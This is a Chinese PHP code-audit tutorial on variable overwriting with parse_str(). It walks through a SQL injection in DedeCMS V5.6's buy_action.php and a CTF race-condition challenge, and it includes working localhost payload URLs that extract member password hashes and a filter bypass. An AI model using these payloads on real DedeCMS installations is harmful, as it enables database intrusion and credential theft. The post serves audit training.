S1xHcL's Blog.

PHP-Audit Day07 parse_str函数缺陷

Word count: 2.4kReading time: 11 min
2021/10/14 Share

函数学习

parse_str

功能 :parse_str的作用就是解析字符串并且注册成变量,它在注册变量之前不会验证当前变量是否存在,所以会直接覆盖掉当前作用域中原有的变量。

定义void parse_str( string $encoded_string [, array &$result ] )

如果 encoded_string 是 URL 传入的查询字符串(query string),则将它解析为变量并设置到当前作用域(如果提供了 result 则会设置到该数组里 )。

Demo学习

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
function getUser($id) {
global $config, $db;
if (!is_resource($db)) {
$db = new MySQLi(
$config['dbhost'],
$config['dbuser'],
$config['dbpass'],
$config['dbname']
);
}
$sql = "SELECT username FROM users WHERE id = ?";
$stmt = $db->prepare($sql);
$stmt->bind_param('i', $id);
$stmt->bind_result($name);
$stmt->execute();
$stmt->fetch();
return $name;
}

$var = parse_url($_SERVER['HTTP_REFERER']);
parse_str($var['query']);
$currentUser = getUser($id);
echo '<h1>'.htmlspecialchars($currentUser).'</h1>';
?>

第21行中,使用parse_url()函数处理Referer值后,在第22行中使用了不安全的parse_str()函数处理$var,导致getUser()函数中全局变量$db可控,这样就通过变量覆盖控制第6~9行中$config参数让其远程链接指定mysql。

1
2
3
4
5
6
7
8
9
10
11
12
<?php

$a = 77;
echo $a;

$url = 'http://127.0.0.1/index.php?a=11&b=22';
$var = parse_url($url);
print_r($var);
parse_str($var['query']);
echo $a;

?>

案例分析

案例选取为DeDecms V5.6,该版本的buy_action.php处存在SQL注入漏洞。

漏洞在member/buy_action.php文件中mchStrCode()函数处。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
function mchStrCode($string,$action='ENCODE')
{
$key = substr(md5($_SERVER["HTTP_USER_AGENT"].$GLOBALS['cfg_cookie_encode']),8,18);
$string = $action == 'ENCODE' ? $string : base64_decode($string);
$len = strlen($key);
$code = '';
for($i=0; $i<strlen($string); $i++)
{
$k = $i % $len;
$code .= $string[$i] ^ $key[$k];
}
$code = $action == 'DECODE' ? $code : base64_encode($code);
return $code;
}

该函数的用来编和解码用户提交的数据,全局搜索有哪些地方调用该函数。

查看member/bug_action.php文件第17行处,查看这段的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
if(isset($pd_encode) && isset($pd_verify) && md5("payment".$pd_encode.$cfg_cookie_encode) == $pd_verify)
{

parse_str(mchStrCode($pd_encode,'DECODE'),$mch_Post);
foreach($mch_Post as $k => $v) $$k = $v;
$row = $dsql->GetOne("SELECT * FROM #@__member_operation WHERE mid='$mid' And sta=0 AND product='$product'");
if(!isset($row['buyid']))
{
ShowMsg("请不要重复提交表单!", 'javascript:;');
exit();
}
$buyid = $row['buyid'];

$pd_encode变量可控,在第4行中先经过mchStrCode()函数解码处理,然后被parse_str()函数解析存在在$mch_Post数组中。在第5行中foreach语句,将$mch_Postkey定义为变量,将key所对应的value赋值给该变量,造成了变量覆盖漏洞。然后在第6行中,将参数直接带入到了sql语句中进行查询,这里并没有对新定义的key进行过滤,导致SQL注入的存在。如下所示:

1
2
3
4
5
6
7
8
9
<?php
$p1 = '1';
$p3 = '3';
$list = array('p1' => "Value1" , 'p2' => "Value2" , 'p3' => "Value3" );
foreach ($list as $k => $v) $$k = $v;
print_r($p1);
echo '<br>';
print_r($p3);
?>

重新查看mchStrCode()函数,寻找key的编码和利用方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
function mchStrCode($string,$action='ENCODE')
{
$key = substr(md5($_SERVER["HTTP_USER_AGENT"].$GLOBALS['cfg_cookie_encode']),8,18);
$string = $action == 'ENCODE' ? $string : base64_decode($string);
$len = strlen($key);
$code = '';
for($i=0; $i<strlen($string); $i++)
{
$k = $i % $len;
$code .= $string[$i] ^ $key[$k];
}
$code = $action == 'DECODE' ? $code : base64_encode($code);
return $code;
}

在第3行处,取$_SERVER["HTTP_USER_AGENT"]$GLOBALS['cfg_cookie_encode']值进行拼接,进行md5加密后使用substr()函数截取第8位到第18的字符串。其中$_SERVER["HTTP_USER_AGENT"]是用户浏览器UA标识,可控,但cfg_cookie_encode为系统随机生成Cookie加密码,存储在data\config.cache.inc.php文件中,cfg_cookie_encode的生成在install/index.php文件中。

1
$rnd_cookieEncode = chr(mt_rand(ord('A'),ord('Z'))).chr(mt_rand(ord('a'),ord('z'))).chr(mt_rand(ord('A'),ord('Z'))).chr(mt_rand(ord('A'),ord('Z'))).chr(mt_rand(ord('a'),ord('z'))).mt_rand(1000,9999).chr(mt_rand(ord('A'),ord('Z')));

可通过加密规则生成字典,但时间成本太高。查看有无其他办法可以得到该值。

全局搜索mchStrCode()函数其他是否还有调用,在member/buy_action.php文件第105行存在一处加密调用:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
if(!isset($paytype))
{
$inquery = "INSERT INTO #@__member_operation(`buyid` , `pname` , `product` , `money` , `mtime` , `pid` , `mid` , `sta` ,`oldinfo`)
VALUES ('$buyid', '$pname', '$product' , '$price' , '$mtime' , '$pid' , '$mid' , '0' , '$ptype');
";
$isok = $dsql->ExecuteNoneQuery($inquery);
if(!$isok)
{
echo "数据库出错,请重新尝试!".$dsql->GetError();
exit();
}
if($price=='')
{
echo "无法识别你的订单!";
exit();
}

//获取支付接口列表
$payment_list = array();
$dsql->SetQuery("SELECT * FROM #@__payment WHERE enabled='1' ORDER BY rank ASC");
$dsql->Execute();
$i = 0 ;
while($row = $dsql->GetArray())
{
$payment_list[] = $row;
$i++;
}
unset($row);

$pr_encode = '';
foreach($_REQUEST as $key => $val)
{
$pr_encode .= $pr_encode ? "&$key=$val" : "$key=$val";
}

$pr_encode = str_replace('=', '', mchStrCode($pr_encode));

$pr_verify = md5("payment".$pr_encode.$cfg_cookie_encode);

$tpl = new DedeTemplate();
$tpl->LoadTemplate(DEDEMEMBER.'/templets/buy_action_payment.htm');
$tpl->Display();

在第41行处会加载的模板/templets/buy_action_payment.htm,查看该模板发现第35~36行会在页面输出编码后的$pd_encode$pd_verify值。

那么构造cfg_dbprefix=sql的语句,通过该接口进行编码并输出到页面中获取$pd_encode$pd_verify值。

另外,在include/common.inc.php文件中,会对用户提交的内容进行过滤,凡提交以cfg_GLOBALS_GET_POST_COOKIE开头的都会被拦截。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
function _RunMagicQuotes(&$svar)
{
if(!get_magic_quotes_gpc())
{
if( is_array($svar) )
{
foreach($svar as $_k => $_v) $svar[$_k] = _RunMagicQuotes($_v);
}
else
{
if( strlen($svar)>0 && preg_match('#^(cfg_|GLOBALS|_GET|_POST|_COOKIE)#',$svar) )
{
exit('Request var not allow!');
}
$svar = addslashes($svar);
}
}
return $svar;
}

解决的办法可以利用$REQUESTparse_str()函数内容的差异特性。当传入的时候通过a=1&b=2%26c=3提交时,$REQUEST解析的内容为a=1,b=2%26c=3,在进入parse_str()函数时,parse_str()会对传入的参数进行解码,所以解析后的内容为a=1,b=2,c=3。这样便绕过了_RunMagicQuotes()函数的验证。

漏洞复现

访问第一步的Payload:

1
http://127.0.0.1/dede/member/buy_action.php?product=card&pid=1&a=1%26cfg_dbprefix=dede_member_operation WHERE 1=@'/!12345union/ select 1,2,3,4,5,6,7,8,9,10 FROM (SELECT COUNT(),CONCAT( (SELECT pwd FROM dede_member LIMIT 0,1),FLOOR(RAND(0)2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a %23

Payload中的productpid参数是为了正确进入编码mchStrCode()函数中,参数a是配合差异性而添加的参数,从cfg_dbprefix开始是sql注入的语句。当访问后需要在页面源码中找到编码后的pd_encodepd_verify值。然后构造第二步Payload:

1
http://127.0.0.1/dede/member/buy_action.php?pd_encode=FBZeUEQAFgVRUBEBQkYKUVkIQgUMBRcABF9tVQEVFlMFXBwEAAFVUW4OB1VQVBE6C0YGRwVNDQtfFGYrJ2p3EVJYJGpEGkUIVlcFAUQNC1dcHkMWAVoGVhAZVUgDGAJPVhQHHVVJUxpbGV0VVVQRcmMsLxgaYiYpIXU3FSd2MSplHBhPIXd8ciIxTBZLZiF1ISdlFEEUBhh0YywoRFIGUQFmCQFcVlQRQnR7fCoxRAZPBE0VIih+e2NLMHl8dUtVTQRKHBwZIjZ+eREqLH59Yy4kMH8seztqJyx0eXBNIXBzYyImMHMxajd8MDcRc2MsN2gSczpFHB8CFUcfNCxhZ3QwMXF2DAACAFMQXFBaCBZfBkUWVF0BVwEICFIOU1MKQiBUUFQ2EV1AeCdYVhAnUABcMRdURngnPWdRWi4BUQsHBFcMBlRUVlNWW15XBgdQQnIGUQF1CwNYWmUKD10PAFVWUANQAFIJXUJ1UVUGLldVWA0xDVsGajtaDylVAQxXAwgDCFpVVAEFAAIIXV0D&pd_verify=8a4cb3f26eb972024b125bdcae91dbbc

案例学习

源码

1
2
3
4
5
6
7
8
9
//index.php
<?php
$a = “hongri”;
$id = $_GET['id'];
@parse_str($id);
if ($a[0] != 'QNKCDZO' && md5($a[0]) == md5('QNKCDZO')) {
echo '<a href="uploadsomething.php">flag is here</a>';
}
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
//uploadsomething.php
<?php
header("Content-type:text/html;charset=utf-8");
$referer = $_SERVER['HTTP_REFERER'];
if(isset($referer)!== false) {
$savepath = "uploads/" . sha1($_SERVER['REMOTE_ADDR']) . "/";
if (!is_dir($savepath)) {
$oldmask = umask(0);
mkdir($savepath, 0777);
umask($oldmask);
}
if ((@$_GET['filename']) && (@$_GET['content'])) {
//$fp = fopen("$savepath".$_GET['filename'], 'w');
$content = 'HRCTF{y0u_n4ed_f4st} by:l1nk3r';
file_put_contents("$savepath" . $_GET['filename'], $content);
$msg = 'Flag is here,come on~ ' . $savepath . htmlspecialchars($_GET['filename']) . "";
usleep(100000);
$content = "Too slow!";
file_put_contents("$savepath" . $_GET['filename'], $content);
}
print <<<EOT
<form action="" method="get">
<div class="form-group">
<label for="exampleInputEmail1">Filename</label>
<input type="text" class="form-control" name="filename" id="exampleInputEmail1" placeholder="Filename">
</div>
<div class="form-group">
<label for="exampleInputPassword1">Content</label>
<input type="text" class="form-control" name="content" id="exampleInputPassword1" placeholder="Contont">
</div>
<button type="submit" class="btn btn-default">Submit</button>
</form>
EOT;
}
else{
echo 'you can not see this page';
}
?>

分析

首先分析index.php,这里存在一个弱类型比较。在PHP处理哈希字符串时,会通过!=或者==进行比较,在比较时,会将0e开头的字符串识别为科学技术法的数字,导致有些MD5值以0e开头会判断为相等。而在index.php中第5行中

1
@parse_str($id);

parse_str()函数注册变量之前不会验证$id$a变量是否存在,通过$id变量覆盖改变$a值。

第一阶段payload:

1
http://127.0.0.1/php/day7/index.php?id=a[0]=s878926199a

接下来分析uploadsomething.php内容。第3行和第4行中,首先验证请求头中是否存在Referer字段,如果存在则继续,否则提示you can not see this page,第5行中将REMOTE_ADDR进行加密拼接uploads/组成文件上传路径,将第13行$content存储flag值,通过file_put_concent()写入文件中。在第16行中usleep()等待100000毫秒后重新写入脏数据。

因为上传路径被加密,在测试前,需要在源码中加入打印$msg代码

随意填写FilenameContent内容

获取到文件路径,但此时flag文件内容中的数据已被脏数据覆盖。

这里存在时间竞争问题,我们可以用过burp多线程发包,使用脚本去读flag文件。在burp中不断请求该地址。

1
http://127.0.0.1/uploadsomething.php?filename=flag&content=123

请求前另外需要写个脚本一直去读文件

1
http://127.0.0.1/uploads/41ad2d7358467fc19b89cbbfefc1a33987942cc9/flag

脚本文件:

1
2
3
4
5
6
7
import requests

url = 'http://127.0.0.1/uploads/41ad2d7358467fc19b89cbbfefc1a33987942cc9/flag'
while(True):
r = requests.get(url).text
print(r)
pass

运行python文件后再用burp爆破

成功读到flag值。

CATALOG
  1. 1. 函数学习
  2. 2. Demo学习
  3. 3. 案例分析
    1. 3.1. 漏洞复现
  4. 4. 案例学习
    1. 4.1. 源码
    2. 4.2. 分析